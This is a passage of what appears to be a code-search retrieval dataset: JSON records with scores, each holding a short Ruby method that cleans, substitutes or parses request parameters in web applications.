\"#{value}\")\n\t\t\tprint \"#{key}, \"\n\t\telse\n\t\t\twarn(\"Ooops, don't know how to handle value to be replaced, #{value}\")\n\t\tend\n\t}\n\tstring\nend", "title": "" }, { "docid": "1b052cb578c10ddafd7d4abf59cb1d93", "score": "0.56958914", "text": "def liquid_params\n clean = params.dup\n clean.delete_if {|k,_| INTERNAL_PARAMS.include?(k) }\n clean[\"dump\"] = clean.to_json\n clean\n end", "title": "" }, { "docid": "29fa6bdec7d7fd1b6d1e2dc717dfd76d", "score": "0.56925994", "text": "def amend_params(data)\n params = {}\n data.each{ |k,v| v.is_a?(Array) ? params[\"#{k}[]\"] = v : params[k] = v}\n params\n end", "title": "" }, { "docid": "4328553dd0f11aaf6c860b0859e263a8", "score": "0.5667071", "text": "def clean_up(params)\n res = {}\n params.each{|k,v|\n res[k]=v unless [\"a_id\",\"k\",\"action\",\"controller\",\"uuid\",\"with_info\", \"notification_id\"].include?(k)\n }\n res\n end", "title": "" }, { "docid": "72fc5aff876eb435f724af57da6f2be3", "score": "0.566664", "text": "def substitute_all_variables\n TheDude.variables.each do |key, val|\n @regexp = substitute_variable(val) if contains_variable? val\n end\n end", "title": "" }, { "docid": "a732fd7d6f7c84384347fe63ac7d392d", "score": "0.56663096", "text": "def reset_params\n @increased_params = {}\n end", "title": "" }, { "docid": "a732fd7d6f7c84384347fe63ac7d392d", "score": "0.56663096", "text": "def reset_params\n @increased_params = {}\n end", "title": "" }, { "docid": "20cc9d7be3993597a42fc62b12d1987c", "score": "0.56626624", "text": "def replace_params(string, hashes, request_string = false, prefix='', in_quotes = true) #(keys)\n return string unless string.is_a?(String)\n original = string.dup\n hashes.each {|hash|\n hash = hashes if hashes.is_a?(Hash)\n#will replace all the params in test items hash with they special capital values in the request and header and response\n# all keys in the request and response that will be replaced must be in quotes and all caps ex: \"TOKENREQUESTORID\"\n return string unless string.is_a? String\n\n in_string = !can_parse_json(string)\n string = apply_no_key_value string\n\n#check if no initial hash is passed, so that we will use test_items hash as a hash with values that we will replace\n#check if we want to use test_items to replace params that we are storing for a specific item\n if prefix !~ /item_/ && hash.is_a?(Array) && (string.include?(\"\\\"item_\"))\n #prefix = 'item_'\n #replace params for each item in the test_items hash\n #ALL items specific keys to be replaced must have item_# before the actual value\n\n hash.each_with_index {|item_hash, index|\n string = replace_params string, item_hash, request_string, \"#{'item_'}#{index+1}_\", in_quotes\n }\n #prefix = ''\n end\n if in_quotes && hash.is_a?(Hash)\n #Actuall replacing loop, goes through the hash and replaces\n hash.each {|key, value|\n if value.nil?\n string = string.gsub(\"\\\"#{prefix + key.upcase}\\\"\", 'null')\n else\n if value.is_a?(String) && !in_string\n string = string.gsub(\"\\\"#{prefix + key.upcase}\\\"\", \"\\\"#{value}\\\"\")\n else\n value = value.to_json unless value.is_a?(String)\n string = string.gsub(\"\\\"#{prefix + key.upcase}\\\"\", value)\n end\n end\n }\n elsif hash.is_a?(Hash)\n keys = hash.keys.sort_by {|x| -x.length}\n keys.each {|key|\n value = hash[key]\n value = 'null' if value.nil?\n value = value.to_json unless value.is_a?(String)\n original_2 = string.dup\n string = string.gsub(\"#{prefix + key.upcase}\", value) #unless in_string\n if can_parse_json(string) && !can_parse_json(original_2)\n string = replace_params(string, hashes, request_string, prefix, true)\n end\n string = replace_params(string, hashes, request_string, prefix, in_quotes) if original != string\n }\n end\n break if hashes.is_a?(Hash)\n }\n generate_values(string) if original != string && request_string\n string = replace_params(string, hashes, request_string, prefix, in_quotes) if original != string\n string = replace_params(string, hashes, request_string, prefix, false) if in_quotes\n string\nend", "title": "" }, { "docid": "7599af395d6a54e99c7718a0d64d39b9", "score": "0.5620278", "text": "def replace_memorized_variables(string_value, remove_quotes = true)\n # if JsonSpec variables are present, replace any potential references to them in the URL\n JsonSpec.memory.each do |doc|\n var_name = doc[0]\n # doc[1] is stored with quotes \".....\" so we have to remove them if told to (usually yes)\n var_value = doc[1]\n var_value = var_value.gsub('\"',\"\") if remove_quotes\n string_value = string_value.gsub(\"%{#{var_name}}\",var_value)\n end\n\n return string_value\nend", "title": "" }, { "docid": "66f7022d0989aab71c3bc8e9565f965e", "score": "0.5618342", "text": "def transform_params(params)\n params\n end", "title": "" }, { "docid": "1ff5e118124ddb18be67393d83a8c486", "score": "0.5617946", "text": "def replace_variables\n @str.gsub!(/[$]{?\\w*[\\b\\w}]/) do |match|\n varname = match[1..-1].delete('{').delete('}')\n \n if @dictionary.include?(varname)\n @dictionary[varname]\n else\n match\n end\n end\n end", "title": "" }, { "docid": "6e76b4dc556150913260c8677f27af5a", "score": "0.5598059", "text": "def body_params=(params)\n @body_params = Hashie::Mash.new( params )\n end", "title": "" }, { "docid": "a7d5a91bbd8e802ec34ce44f29403e1e", "score": "0.55951434", "text": "def update_params(params)\n\n if(params[:target] != nil)\n @target = params[:target]\n end\n if(params[:cond] != nil)\n @cond = params[:cond]\n end\n if(params[:effet] != nil)\n @effet = params[:effet]\n end\n\n end", "title": "" }, { "docid": "c3463aacfa6a0970609fc580e5d7681c", "score": "0.5592326", "text": "def deep_unmangle_params!(params, permitted_params)\n permitted_params.select { |p| p.is_a?(Hash) }.each do |permission|\n permission.each do |key, permitted_value|\n next unless params[key].is_a?(ActionController::Parameters)\n\n if permitted_value.is_a?(Hash)\n deep_unmangle_params!(params[key], [permitted_value])\n elsif permitted_value.is_a?(Array) && permitted_value.empty? && params[key]&.keys&.all? { |k| k.to_s =~ /\\A\\d+\\z/ }\n params[key] = params[key].values\n end\n end\n end\n end", "title": "" }, { "docid": "c24ca1dbd7b0461eaa7537fbe413c16b", "score": "0.558695", "text": "def maintain_redacted_params(webhook, params)\n if webhook.request.password && password_key_does_not_exist_or_is_starred?(params)\n params[\"request\"][\"password\"] = webhook.request.password\n end\n\n new_headers = params[\"request\"][\"headers\"] ||= {}\n existing_headers = webhook.request.headers\n starred_new_headers = new_headers.select { |_key, value| value =~ /^\\**$/ }\n starred_new_headers.each do | (key, _value) |\n new_headers[key] = existing_headers[key]\n end\n params[\"request\"][\"headers\"] = new_headers\n params\n end", "title": "" }, { "docid": "3273b8a99523decc4cbbfc2747fb4bd1", "score": "0.55796045", "text": "def map_params_str(data)\n cmd=@sender_params_str + ''\n cmd.gsub! '%', '%%'\n\n replace=[]\n cmd.scan(/\\[[^\\]]+\\]/).each do |part|\n variable=part[/\\{[^\\}]+\\}/][1..-2]\n if data.key? variable\n replace << part[1..-2].sub('{' + variable + '}', escape_param(data[variable]))\n cmd.sub! part, '%'+replace.length.to_s+'$s'\n else\n cmd.sub! part, ''\n end\n end\n\n cmd.scan(/\\{[^\\}]+\\}/).each do |part|\n variable=part[1..-2]\n if data.key? variable\n replace << escape_param(data[variable])\n cmd.sub! part, '%'+replace.length.to_s+'$s'\n end\n end\n cmd % replace\n end", "title": "" }, { "docid": "af1918c064fd60f61b76f6e3f5f86e17", "score": "0.55779165", "text": "def process_params(post_params)\n # Bump off the standard Sinatra params we don't use\n post_params.reject! { |key, _v| key =~ /^splat|captures|site/i }\n\n error('invalid_request') if post_params.empty?\n\n # JSON-specific processing\n if post_params.key?(:type) && !post_params.key?(:action)\n post_params[:h] = post_params[:type][0].tr('h-', '') if post_params[:type][0]\n post_params.merge!(post_params.delete(:properties))\n if post_params[:content]\n post_params[:content] =\n if post_params[:content][0].is_a?(Hash)\n post_params[:content][0][:html]\n else\n post_params[:content][0]\n end\n end\n post_params[:name] = post_params[:name][0] if post_params[:name]\n post_params[:slug] = post_params[:slug][0] if post_params[:slug]\n else\n # Convert all keys to symbols from form submission\n post_params = Hash[post_params].transform_keys(&:to_sym)\n post_params[:photo] = [post_params[:photo]] if post_params[:photo]\n post_params[:\"syndicate-to\"] = [*post_params[:\"syndicate-to\"]] if post_params[:\"syndicate-to\"]\n end\n\n # Secret functionality: We may receive markdown in the content.\n # If the first line is a header, set the name with it\n first_line = post_params[:content].match(/^#+\\s?(.+$)\\n+/) if post_params[:content]\n if !first_line.nil? && !post_params[:name]\n post_params[:name] = first_line[1].to_s.strip\n post_params[:content].sub!(first_line[0], '')\n end\n\n # Determine the template to use based on various params received.\n post_params[:type] = post_type(post_params) unless post_params.key? :action\n\n # Add in a few more params if they're not set\n unless post_params.include?(:action)\n # Spec says we should use h-entry if no type provided.\n post_params[:h] = 'entry' unless post_params.include?(:h)\n # It's nice to honour the client's published date, if set, else set one.\n post_params[:published] = if post_params.include? :published\n post_params[:published].first\n else\n Time.now.to_s\n end\n end\n post_params\n end", "title": "" }, { "docid": "b4bf1f79e825a5a84b50ac21ba363084", "score": "0.55567926", "text": "def process_params(val, root_node)\n attributes = val.except(:action, :controller, root_node)\n attributes = sanitize_params(attributes)\n attributes = deep_snake_case_params(attributes)\n params = {\"#{root_node}\" => attributes, \"action\" => val[\"action\"], \"controller\" => val[\"controller\"]}\n puts \"rebuilt params: #{params}\"\n params = ActionController::Parameters.new(params)\n end", "title": "" }, { "docid": "6590b8bab179dfb595dfb8c2d1b72136", "score": "0.5556306", "text": "def merge_params_from_body(_params = params)\n _params = _params.dup\n _params_from_body = parse_body\n _params = _params_from_body.merge(_params) if _params_from_body.is_a?(Hash)\n indifferent_hash.merge(_params)\n end", "title": "" }, { "docid": "2c154f4c044591588b83ab89b4435f34", "score": "0.55520314", "text": "def process_params(post_params)\n # Bump off the standard Sinatra params we don't use\n post_params.reject! { |key, _v| key =~ /^splat|captures|site/i }\n error(\"invalid_request\") if post_params.empty?\n\n post_params = Hash[post_params].transform_keys(&:to_sym)\n post_params.merge!(post_params.delete(:properties)) if post_params[:properties]\n post_params[:h] = post_params[:type][0].tr(\"h-\", \"\") if post_params[:type]\n\n content = post_params[:content].dup\n if content\n content = if content.is_a?(String)\n content\n else\n content = content.first\n content.is_a?(Hash) && content.key?(:html) ? content[:html] : content\n end\n end\n\n %i[name slug published].each do |param|\n param_value = post_params[param]\n post_params[param] = param_value.first if param_value.is_a?(Array)\n end\n\n photo_param = post_params[:photo].dup\n if photo_param\n photos = []\n # micro.blog and Sunlit iOS apps use mp-photo-alt for photo alt\n mp_photo_alt = post_params.delete(:'mp-photo-alt')\n if mp_photo_alt\n photo_param.each_with_index do |photo, index|\n alt = mp_photo_alt[index]\n photos << {value: photo, alt: alt}\n end\n else\n photos = [photo_param]\n end\n post_params[:photo] = photos\n end\n\n post_params[:'mp-syndicate-to'] = Array(*post_params[:'mp-syndicate-to']) if post_params[:'mp-syndicate-to']\n\n # Add additional properties, unless we're performing an action\n unless post_params.key? :action\n # Secret functionality: determine tags from content if none provided\n unless post_params[:category] || !content\n tags = parse_hashtags(content)\n post_params[:category] = tags unless tags.empty?\n content = strip_hashtags(content)\n end\n # Secret functionality: If the first line is a header, set the name with it\n first_line = content.match(/^#+\\s?(.+$)\\n+/) if content\n if first_line && !post_params[:name]\n post_params[:name] = first_line[1].to_s.strip\n content.sub!(first_line[0], \"\")\n end\n\n # Determine the template to use based on various params received.\n post_params[:type] = post_type(post_params)\n # Spec says we should use h-entry if no type provided.\n post_params[:h] = \"entry\" unless post_params.include?(:h)\n # Honour the client's published date, if set, else set one.\n post_params[:published] = Time.now.to_s unless post_params[:published]\n end\n\n post_params[:content] = content if content\n post_params\n end", "title": "" }, { "docid": "8a69aa612c9b2084375b0c39c07ef63d", "score": "0.55469406", "text": "def substitute_args!(provisioning_args, variables)\n variables.each do |varname, value|\n provisioning_args.gsub!(\"$#{varname}\", value)\n end\nend", "title": "" }, { "docid": "6fcd92f9f5c391388ad2615554ecc4bb", "score": "0.554056", "text": "def parse_payload\n params[:payload] = parse_json_string_to_hash(params[:payload])\n end", "title": "" }, { "docid": "3beda46e30f29013ebc558ba674fca9e", "score": "0.55256045", "text": "def update_from_params(params)\n assign_ivars_from_params!(params.dup)\n end", "title": "" }, { "docid": "27af238b23dfa68f1364c764dfba7f4d", "score": "0.5511695", "text": "def params_fixer params\n\t\t\t#where does :captures come from??\n\t\t\tfixed_params = params.select { |key, value| key != '_method' && key != 'splat' && key != 'captures' }\n\t\t\tfixed_params['img_url'] = Video.url_to_img_url(params[:url])\n\t\t\tfixed_params\n\t\tend", "title": "" }, { "docid": "55e8ee7939c43ee7596e830af109e347", "score": "0.5510761", "text": "def payload_params env\n # if we already specified Content-Type and which is not\n # application/x-www-form-urlencoded, then we should not\n # take payload as a part of the base_string\n if env[REQUEST_HEADERS].kind_of?(Hash) &&\n env[REQUEST_HEADERS]['Content-Type'] &&\n env[REQUEST_HEADERS]['Content-Type'] !=\n 'application/x-www-form-urlencoded'\n {}\n\n # if it contains any binary data,\n # then it shouldn't be application/x-www-form-urlencoded either\n # the Content-Type header would be handled in our HTTP client\n elsif contain_binary?(env[REQUEST_PAYLOAD])\n {}\n\n # so the Content-Type header must be application/x-www-form-urlencoded\n else\n reject_blank(env[REQUEST_PAYLOAD])\n end\n end", "title": "" }, { "docid": "2aaa4a6dd517830ee41abc1f1caadaad", "score": "0.55070084", "text": "def variables\n ambiguous_param = params[:variables] || {}\n case ambiguous_param\n when String\n ambiguous_param.present? ? ensure_hash(JSON.parse(ambiguous_param)) : {}\n when Hash, ActionController::Parameters\n ambiguous_param\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end", "title": "" }, { "docid": "f68276ca5d05df7bc26c7e485701ffc8", "score": "0.55051696", "text": "def preprocess_params(params)\n # JSON encode filter hash if it exists\n if params.key? :filters\n params[:filters] = MultiJson.encode(params[:filters])\n end\n\n if params.key? :timeframe and not params[:timeframe].class == String\n params[:timeframe] = MultiJson.encode(params[:timeframe])\n end\n\n if params.key? :group_by and not params[:group_by].class == String\n params[:group_by] = MultiJson.encode(params[:group_by])\n end\n query_params = \"?\"\n if URI.respond_to?(:encode_www_form)\n query_params << URI.encode_www_form(params).gsub('%5B%5D','')\n else\n params.each do |param, value|\n query_params << param.to_s << '=' << value.to_s << '&'\n end\n query_params.chop! # Get rid of the extra '&' at the end\n end\n return query_params\n end", "title": "" }, { "docid": "2158edf8661afacb90fd4b0b9103b9e3", "score": "0.5503555", "text": "def post_params\n ActiveModelSerializers::Deserialization.jsonapi_parse!(params,\n only: [:title, :body, :tag_ids, :archived, :photo])\n end", "title": "" }, { "docid": "19a0a025c90725bf106393c96b43cc61", "score": "0.5500781", "text": "def convert_params(orig_params)\n new_params = {}\n value = nil\n orig_params.each do |k, v|\n k = k.to_s\n case k\n when 'scope_type'\n new_params[:type] = (v == 'default' ? 'anyone' : v)\n when 'scope'\n new_params[:value] = v\n when 'with_key', 'withLink'\n new_params[:allow_file_discovery] = !v\n when 'value'\n value = v\n else\n new_params[k.intern] = v\n end\n end\n\n if value\n case new_params[:type]\n when 'user', 'group'\n new_params[:email_address] = value\n when 'domain'\n new_params[:domain] = value\n end\n end\n\n new_params\n end", "title": "" }, { "docid": "a9aa0f49af4e8ce83312c0f2e34e9232", "score": "0.54972404", "text": "def angular_data_params(*list)\n request.body.rewind\n JSON.parse(request.body.read)\nend", "title": "" }, { "docid": "6c65a5d83ebd90ed168cb828d673cb23", "score": "0.54938763", "text": "def merge_params_create_request_from_template\n params.merge!({:request => {}})\n request_params.each do |name|\n if name == \"plan\"\n #make special case plan_member_id find wi plan and plan_stage\n end\n \n # name has been added as a special parameter but cannot be objectified like the others\n unless name == \"name\"\n obj = name.classify.constantize.name_equals(params[name])\n params[:request].merge!({\"#{name}_id\" => obj[0].id}) unless obj.blank?\n else\n params[:request].merge!({:name => params[:name]}) unless params[:name].blank?\n end\n end\n if params[:request][:request_template_id].present?\n params[:request_template_id] = params[:request][:request_template_id]\n params[:include] = {\"all\"=>\"1\"}\n params[:request][:request_template_id] = nil\n end\n step_params.each do |name|\n obj = name.classify.constantize.name_equals(params[name])\n params.merge!({\"#{name}_id\" => obj[0].id}) unless obj.blank?\n end\n end", "title": "" }, { "docid": "bf6cf74625306a91ffe748dcd6dca712", "score": "0.54745", "text": "def pagy_massage_params(params)\n params\n end", "title": "" }, { "docid": "342206228d90c4563e51be11e324a306", "score": "0.54706085", "text": "def clean_params(params)\n params.stringify_keys.reject{|key,value|['action','controller','instance_id','dataset'].include?(key)}\n end", "title": "" }, { "docid": "7b8cdc24d451de45171eeb3ee8ef7912", "score": "0.5466366", "text": "def update_params(params)\n\n if(params[:cycle] != nil)\n @cycle = params[:cycle]\n end\n if(params[:sigle] != nil)\n @sigle = params[:sigle]\n end\n if(params[:facSigle] != nil)\n @facSigle = params[:facSigle]\n end\n if(params[:root_sigle] != nil)\n @root_sigle = params[:root_sigle]\n end\n\n if @sigle != nil then @sigle = @sigle.gsub(\" \",\"\") end\n if @facSigle != nil then @facSigle = @facSigle.gsub(\" \",\"\") end\n if @root_sigle != nil then @root_sigle = @root_sigle.gsub(\" \",\"\") end\n\n end", "title": "" }, { "docid": "5de32a4d52358fd18b63f9517a43fcda", "score": "0.54591095", "text": "def _rtr_prepare_params(params, opts={})\n # symbolize all keys & ensure we don't affect original object\n prep = params.each_with_object({}) { |(k,v),memo| memo[k.to_sym] = v }\n result = []\n result << prep.delete(:id) unless opts[:no_id]\n result << prep.delete(:code)\n result << prep\n result\n end", "title": "" }, { "docid": "9b6518b9a1dc1658581690791995d5b1", "score": "0.54380685", "text": "def setup_bindings_in_params(original_parts, params)\n # Create a copy of the params we can modify and return\n params = params.dup\n\n params.each_pair do |key, value|\n if value.is_a?(Fixnum)\n # Lookup the param's value in the original url parts\n params[key] = original_parts[value]\n end\n end\n\n params\n end", "title": "" }, { "docid": "9c60c53133308414a6ce7be9644891c1", "score": "0.5429675", "text": "def overwritten_params\n result = {}\n %i[email mobile_phone].each do |param|\n result[param] = nil if people_params.key?(param) && !people_params[param].present?\n end\n result\n end", "title": "" }, { "docid": "9a48d1d396015ccc616ae2e95b74b747", "score": "0.54278755", "text": "def params(payload)\n { \"name\" => name.to_s,\n \"uuid\" => uuid.to_s,\n \"klass_name\" => klass_name.to_s,\n \"password\" => password,\n \"args\" => json_encode(payload)\n }\n end", "title": "" }, { "docid": "b42eefaf8ccc3f9d813bd72b28cecb2f", "score": "0.5425844", "text": "def prepare_params(params)\n clean_params = params\n if params.is_a?(Array)\n clean_params = params.map do |p|\n if p.is_a?(Hash)\n stringify_names(p)\n else\n p\n end\n end\n end\n\n clean_params\n end", "title": "" }, { "docid": "b7e0ff684e4dc6b3d830ceaa38deec1c", "score": "0.5425085", "text": "def replace_vars!(&block)\n self\n end", "title": "" }, { "docid": "7a5211cb4d99f60a5a0955f3bd71cc4f", "score": "0.5417346", "text": "def replace(params, event)\n params.each do |field, newvalue|\n newvalue = expand_patterns(event, newvalue)\n event.set(field, newvalue)\n end\n end", "title": "" }, { "docid": "3e0f979898154265a832d1d1c9612156", "score": "0.54103833", "text": "def clean_params(params); end", "title": "" }, { "docid": "85ecf15b7a758e30b4505ecf3a5d4682", "score": "0.54091704", "text": "def process_action_params(raw_params)\n # short circuit if no params that need substituting\n return raw_params if @action_set_param_map.empty?\n if raw_params.is_a?(Array)\n raw_params.map { |p| process_action_params(p) }\n elsif raw_params.is_a?(Hash)\n ret = {}\n raw_params.each { |k, v| ret[k] = process_action_params(v) }\n ret\n elsif raw_params.is_a?(String)\n ret = raw_params.dup\n @action_set_param_map.each { |k, v| ret.gsub!(Regexp.new(\"\\\\$#{k}\\\\$\"), v.to_s) }\n ret\n else\n raw_params\n end\n end", "title": "" }, { "docid": "34e45bfe8cb2208d8f4b2a9fbe933829", "score": "0.54009455", "text": "def post_replace( post_replace_request, opts = {})\n\n data, _status_code, _headers = post_replace_request.create_http_request(@api_client,opts )\n return data\n end", "title": "" }, { "docid": "b4f785aa7af86d62ed937df55318ddae", "score": "0.53917235", "text": "def parse_variables(variables_param) # rubocop:disable Metrics/MethodLength\n case variables_param\n when String\n variables_param.present? ? JSON.parse(variables_param) || {} : {}\n when Hash\n variables_param\n when ActionController::Parameters\n variables_param.to_unsafe_hash # GraphQL-Ruby will validate name and type of incoming variables.\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{variables_param}\"\n end\n end", "title": "" }, { "docid": "0c721e76bef86f82cebc6c5cbb3cebc8", "score": "0.53895867", "text": "def params; @params ||= destructure(request.params); end", "title": "" }, { "docid": "0c721e76bef86f82cebc6c5cbb3cebc8", "score": "0.53895867", "text": "def params; @params ||= destructure(request.params); end", "title": "" }, { "docid": "d784b120e51a39703ac1c063d8827e7a", "score": "0.5388801", "text": "def process_params(params)\n params.each_pair do |key, val|\n if LAUNCH_DATA_PARAMETERS.member?(key)\n self.send(\"#{key}=\", val)\n elsif key =~ /\\Acustom_(.+)\\Z/\n @custom_params[$1] = val\n elsif key =~ /\\Aext_(.+)\\Z/\n @ext_params[$1] = val\n end\n end\n end", "title": "" }, { "docid": "1afed04f48cbb4b58836f651f169f597", "score": "0.538561", "text": "def get_parameters\n req_body = @api['post'].body_schema\n resp_body = @api['get'].response_body_schema(200)\n parameters = Hash.new\n req_body['properties'].each do |key, value|\n if not resp_body['properties'].include?(key)\n parameters[key] = value\n end\n end\n\n # get overrides and handle it\n override = @api['override'].body_schema\n if not override.nil? and not override['properties'].nil?\n override['properties'].each do |key, value|\n if parameters.include? key and not value['properties'].nil?\n value['properties'].each do |subkey, subvalue|\n if subkey == 'name' and not subvalue['title'].nil?\n parameters[subvalue['title']] = parameters[key]\n\t parameters[subvalue['title']]['field'] = key\n\t parameters.delete(key)\n\t elsif subkey == 'description' and not subvalue['title'].nil?\n parameters[key][subkey] = subvalue['title']\n\t end\n\t end\n\tend\n end\n end\n parameters\n end", "title": "" }, { "docid": "0f2ccf1004b760c595260a6a18a483de", "score": "0.53851247", "text": "def convert_params(orig_params)\n new_params = {}\n for k, v in orig_params\n k = k.to_s()\n case k\n when \"scope_type\"\n new_params[\"type\"] = (v == \"default\" ? \"anyone\" : v)\n when \"scope\"\n new_params[\"value\"] = v\n when \"with_key\"\n new_params[\"withLink\"] = v\n else\n new_params[k] = v\n end\n end\n return new_params\n end", "title": "" }, { "docid": "461599746b3359a83d0edf34167913d7", "score": "0.53792995", "text": "def cleanse_params(params)\n cleansed_params = {}\n params.each do |k,v|\n cleansed_params[k] = v.strip\n end\n cleansed_params\n end", "title": "" }, { "docid": "5120a940f82a634145da69c7af1a8317", "score": "0.5376583", "text": "def prepare_body params\n body_params = ActiveSupport::OrderedHash.new\n params.each do |k, v|\n value = if v.respond_to? :strftime\n v.strftime(\"%Y-%m-%dT%T\")\n else\n v.to_s\n end\n body_params[config[:namespace_identifier].to_s + ':' + k.to_s.camelize(:lower)] = value\n end\n body_params[config[:namespace_identifier].to_s + \":sign\"] = sign(params)\n body_params\n end", "title": "" }, { "docid": "2033d8806aeb243db8c2b6e0084562ec", "score": "0.5372291", "text": "def extract_params\n params.each do |key, val|\n set_instances(key, val)\n end\n end", "title": "" }, { "docid": "d23c3529008b6056f3caa48aab654f3f", "score": "0.53695905", "text": "def rename_params(json_params, action)\n params_renamer = ParamsOperators::Renamer.new(json_params, action)\n params_renamer.run\n end", "title": "" }, { "docid": "d39a8380b893c265e9e1c952672dc45c", "score": "0.5368586", "text": "def params\n @params ||= JSON.parse(request.body.read)\n end", "title": "" }, { "docid": "fa9416b017616802f2d664a92874b946", "score": "0.5365528", "text": "def extra_params_for_hash(data_hash)\n data_hash = data_hash.stringify_keys\n final_hash = {}\n extra_keys = @params.keys - @url_variables\n extra_keys.each do |key|\n next if data_hash[key].blank?\n\n data_type = @params[key]['type']\n final_hash[key] = format_data_for_json(data_hash[key], data_type)\n end\n return final_hash if @body_template.nil?\n\n populate_body_template(final_hash)\n end", "title": "" }, { "docid": "2a1d0955e3c3dd9e1263277393d85f44", "score": "0.53595614", "text": "def prepare_request_body\n reputation_web_service_path = URI.parse(WEBSERVICE_CONFIG['reputation_web_service_url']).path\n post_req = Net::HTTP::Post.new(reputation_web_service_path, { 'Content-Type' => 'application/json', 'charset' => 'utf-8' })\n curr_assignment_id = (params[:assignment_id].empty? ? '754' : params[:assignment_id])\n assignment_id_list_peers = get_assignment_id_list(curr_assignment_id, params[:another_assignment_id].to_i)\n\n post_req.body = generate_json_for_peer_reviews(assignment_id_list_peers, params[:round_num].to_i).to_json\n\n post_req.body[0] = '' # remove the first '{'\n add_additional_info_details post_req\n post_req.body.prepend('{')\n add_flash_messages post_req\n post_req\n end", "title": "" }, { "docid": "209977be7da1954e4bc9de5af70d086a", "score": "0.53584623", "text": "def params\n @params ||= JSON.parse(request.body.read)\n end", "title": "" }, { "docid": "18a95738a3420c1bd31f0acaf5d0538a", "score": "0.53538996", "text": "def remove_prefix_form_properties_params(params_query)\n res = {}\n params_query.each_pair do |key, val| \n res[key.gsub(/properties./, \"\")] = val \n end\n res\n end", "title": "" }, { "docid": "1f3b41b761fb849834b33e195b7d2f78", "score": "0.53520644", "text": "def append_field_params body, params = {}\n params.each do |name, value|\n next unless value\n unless value =~ Internet::DOT_ATOM\n value = '\"' + value.gsub('\"','\\\"') + '\"'\n end\n body << \"; #{name}=#{value}\"\n end\n body\n end", "title": "" }, { "docid": "69e7fa920308193eac5c3008d9c76d7c", "score": "0.535173", "text": "def receiving_parameters_for(data)\n { payload: data[:payload] }.merge(_common_parameters)\n end", "title": "" }, { "docid": "9ec8a6203d53a965baf0e8db75247be1", "score": "0.5351253", "text": "def post_params(scenario, path)\n match_hash = scenario.post_get_opts[path][:params]\n options = scenario.options\n param_hash = {}\n match_hash.keys.reject{|i| !options.has_key?(i)}.each do |param|\n if HttpplayerScenario.methods.include?((param.to_s + \"_transform\").to_sym)\n # this can be confusing for Ruby n00bs... send() allows us to call\n # a method on an object or class identified by a string\n dbgp LOG_VERBOSE, param.to_s + \"_transform(#{options[param]})\"\n param_hash.merge!(HttpplayerScenario.send(param.to_s + \"_transform\", scenario, options[param]))\n else\n key = match_hash[param].has_key?(:id) ? match_hash[param][:id].to_s : param.to_s\n #param_hash[key] = CGI.escape(options[param])\n param_hash[key] = options[param]\n if match_hash[param].has_key?(:clone)\n match_hash[param][:clone].each {|p| param_hash[p.to_s] = options[param] }\n end\n end\n end\n return param_hash\n end", "title": "" }, { "docid": "bf8f6372dd22167302c48c81e1450cbc", "score": "0.5346648", "text": "def set_all_params_data(params_data)\n layers.each.with_index do |layer, i|\n params_data[i].each do |(key, data)|\n layer.get_variables[key].data = data\n end\n end\n end", "title": "" }, { "docid": "6e51f4bbdd37b8a77e45676b05fb723c", "score": "0.53212386", "text": "def agent_params\n \ta = params[:agent].clone\n #a[:selectors] = JSON.parse(a[:selectors])\n a.permit(:publisher, :payload, :identifier, :title, :help, :schedule, :seed, :action, :uri, :cache, :headers, :delimiter, :checked ,:server, :host, :port, :database, :username, :password, :query, :selectors)\n end", "title": "" }, { "docid": "d129e8b6620802dd7c3b4b3ac0e4ede2", "score": "0.53199136", "text": "def reload_params\n {}\n end", "title": "" }, { "docid": "fc8e2bdc3abe025d00798a49c701c5b7", "score": "0.5319518", "text": "def old_parse(post)\n @raw = post\n for line in post.split('&')\n key, value = *line.scan( %r{^(\\w+)\\=(.*)$} ).flatten\n params[key] = value\n end\n end", "title": "" }, { "docid": "2a970401b19eb4421c6f9c7a9d677862", "score": "0.5312554", "text": "def decode_params(params)\n key = ENCODED_PARAMS_KEY.to_s\n hidden_key = ENCODED_HIDDEN_PARAMS_KEY.to_s\n data_params = params[key] || '{}'\n hidden_data_params = params[hidden_key] || '{}'\n\n begin\n parsed_data_params = JSON.parse(data_params)\n parsed_hidden_data_params = JSON.parse(hidden_data_params)\n rescue JSON::ParserError => e\n raise e.class, \"Error reading json from '#{key}' or '#{hidden_key}' in params #{params}\\n #{e.message}\"\n end\n params.delete(key)\n params.delete(hidden_key)\n params.merge(parsed_data_params).merge(parsed_hidden_data_params)\n end", "title": "" }, { "docid": "a0758ea53cf378d45818cef43b2101b3", "score": "0.5307453", "text": "def normalize_params(params)\n p = Sanford::Protocol::StringifyParams.new(params)\n Sanford::Protocol.msg_body.decode(Sanford::Protocol.msg_body.encode(p))\n end", "title": "" }, { "docid": "3e6c4be73360b2cb45da0fdaced5209e", "score": "0.5302062", "text": "def add_dummy_values_to_route_parameters_with_regexp_values(parameters_hash_with_regexp_values_handled)\n parameters_hash_with_regexp_dummy_values = parameters_hash_with_regexp_values_handled\n parameters_hash_with_regexp_dummy_values.each do |param_key, param_value|\n if param_value.is_a?(Regexp)\n parameters_hash_with_regexp_dummy_values[param_key] = \"'<value matching regexp required>'\"\n end\n end\n parameters_hash_with_regexp_dummy_values\n end", "title": "" }, { "docid": "88b8215a6ffc131d4e175b03d4dcd7a3", "score": "0.52977973", "text": "def params_from_slice(request)\n slice = slice_from_request(request)\n\n return unless slice\n\n request.env['emp_json'] = slice\n target_class = target_class_from_path(request)\n return if target_class.blank?\n\n update_actor_param(request, slice)\n update_target_params(request, slice, target_class)\n end", "title": "" }, { "docid": "235928be60bb2f4d34274fe6adac838c", "score": "0.52976984", "text": "def user_params(params)\n params.each_with_object({}) do |(key,value), obj|\n obj[key] = value if valid_params.include?(key.to_sym)\n end\n end", "title": "" }, { "docid": "6286e2a9dba32e96bf339907dc4d4d3a", "score": "0.5296183", "text": "def replicate_params\n {\n payload_gid: to_global_id,\n billing_group_id: billing_group,\n shipping_group_id: shipping_group,\n order_type_id: order_type,\n inventory_id: inventory\n }\n end", "title": "" }, { "docid": "7803064af5f3adf0f452be397f0a4408", "score": "0.5292236", "text": "def fix_params(params)\n query_params = {}\n params.each do |k,v|\n case v\n when Array\n query_params[\"#{k.to_s}[]\"] = v\n when Hash\n v.each do |kk,vv|\n query_params[\"#{k.to_s}[#{kk.to_s}]\"] = vv\n end\n else\n query_params[k.to_s] = v\n end\n end\n query_params\n end", "title": "" }, { "docid": "7803064af5f3adf0f452be397f0a4408", "score": "0.5292236", "text": "def fix_params(params)\n query_params = {}\n params.each do 